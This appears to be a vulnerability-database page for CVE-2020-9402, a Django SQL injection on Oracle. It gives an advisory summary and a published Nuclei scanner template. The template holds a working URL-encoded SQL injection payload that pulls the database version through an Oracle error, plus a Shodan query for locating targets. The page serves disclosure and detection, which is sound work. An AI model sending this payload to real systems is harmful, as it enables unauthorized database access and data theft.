CVE-2020-9402: Django SQL Injection

日期: 2025-08-01 | 影响软件: Django | POC: 已公开

漏洞描述

Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.

PoC代码[已公开]

id: CVE-2020-9402

info:
  name: Django SQL Injection
  author: geeknik
  severity: high
  description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Upgrade to the latest version.
  reference:
    - https://www.debian.org/security/2020/dsa-4705
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
    - https://docs.djangoproject.com/en/3.0/releases/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9402
    - https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
    epss-score: 0.5942
    epss-percentile: 0.98187
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: cpe:"cpe:2.3:a:djangoproject:django"
  tags: cve,cve2020,django,sqli,vulhub,djangoproject

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"

    matchers:
      - type: word
        words:
          - "DatabaseError at"
          - "ORA-29257:"
          - "ORA-06512:"
          - "Request Method:"
        condition: and
# digest: 4a0a0047304502206f457bc43dfdad8c918ac3c502b2d448669a9e2be9266c51223d81c461238b21022100d26853358514bda314e1dc687c43653c1ec3e114a7a52936c823a3e6d45817ef:922c64590222798bb761d5b6d8e72950

相关漏洞推荐